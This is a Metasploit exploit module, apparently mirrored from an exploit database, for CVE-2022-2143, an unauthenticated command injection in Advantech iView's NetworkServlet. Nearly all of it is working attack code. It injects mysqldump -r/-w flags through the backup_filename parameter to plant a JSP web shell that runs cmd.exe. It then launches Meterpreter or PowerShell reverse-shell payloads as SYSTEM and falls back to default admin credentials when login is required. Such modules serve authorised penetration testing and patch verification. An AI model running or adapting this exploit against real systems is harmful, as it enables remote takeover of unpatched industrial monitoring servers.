Share
## https://sploitus.com/exploit?id=PACKETSTORM:168108
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Advantech iView NetworkServlet Command Injection',  
'Description' => %q{  
Versions of Advantech iView software below `5.7.04.6469` are  
vulnerable to an unauthenticated command injection vulnerability  
via the `NetworkServlet` endpoint.  
The database backup functionality passes a user-controlled parameter,  
`backup_file` to the `mysqldump` command. The sanitization functionality only  
tests for SQL injection attempts and directory traversal, so leveraging the  
`-r` and `-w` `mysqldump` flags permits exploitation.  
The command injection vulnerability is used to write a payload on the target  
and achieve remote code execution as NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'rgod', # Vulnerability discovery  
'y4er', # PoC  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],  
[ 'CVE', '2022-2143']  
],  
'Platform' => [ 'win' ],  
'Privileged' => true,  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Windows Dropper',  
{  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],  
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2022-06-28',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),  
OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),  
OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])  
]  
)  
end  
  
def check  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
return CheckCode::Unknown('Failed to receive a response from the application') unless res  
  
unless res.body.include?('iView')  
return CheckCode::Safe('No confirmation that target is Advantech iView')  
end  
  
res = send_db_backup_request('')  
return CheckCode::Detected('Failed to receive response from backup request') unless res  
  
# The patch added auth as a requirement for  
# accessing the NetworkServlet endpoint  
if res.body =~ /ERROR:\s+User\s+Not\sLogin/  
@needs_auth = true  
print_status('Vulnerability is present, though authentication is required.')  
end  
  
CheckCode::Appears  
end  
  
def send_db_backup_request(filename)  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'page_action_type' => 'backupDatabase',  
'backup_filename' => filename  
}  
)  
end  
  
def format_jsp  
bin_nums = []  
arg_nums = []  
flag_nums = []  
  
bin_param.each_char { |c| bin_nums << c.ord }  
bin_nums = bin_nums.join(',')  
arg_param.each_char { |c| arg_nums << c.ord }  
arg_nums = arg_nums.join(',')  
flag_param.each_char { |c| flag_nums << c.ord }  
flag_nums = flag_nums.join(',')  
  
'<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \  
'new ProcessBuilder(request.getParameter(' \  
"new java.lang.String(new byte[]{#{bin_nums}}))," \  
"request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \  
"request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \  
'.getInputStream()))%>'  
end  
  
def flag_param  
@flag_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def arg_param  
@arg_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def bin_param  
@bin_param ||= Rex::Text.rand_text_alpha(3..8)  
end  
  
def jsp_filename  
@jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, jsp_filename),  
'keep_cookies' => true,  
'vars_get' =>  
{  
bin_param => 'cmd.exe',  
flag_param => '/c',  
arg_param => cmd  
}  
)  
end  
  
def iview_authenticate  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')  
vprint_good('Successfully accessed the login page')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'CommandServlet'),  
'keep_cookies' => true,  
'vars_post' => {  
'page_action_service' => 'UserServlet',  
'page_action_type' => 'login',  
'user_name' => datastore['USERNAME'],  
'user_password' => datastore['PASSWORD'],  
'use_ldap' => 'false',  
'data' => ''  
}  
)  
  
unless res && res.body.include?('Success')  
fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')  
end  
vprint_good('Authentication successful!')  
end  
  
def need_auth?  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet')  
)  
return false unless res  
  
!!(res.body =~ /ERROR:\s+User\s+Not\sLogin/)  
end  
  
def exploit  
if @needs_auth || need_auth?  
iview_authenticate  
end  
  
jsp_code = format_jsp  
  
sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"  
full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\""  
  
res = send_db_backup_request(full_cmd)  
fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res  
  
path = "webapps\\iView3\\#{jsp_filename}"  
register_file_for_cleanup(path)  
if target['Type'] == :win_dropper  
execute_cmdstager  
else  
execute_command(payload.encoded)  
end  
end  
end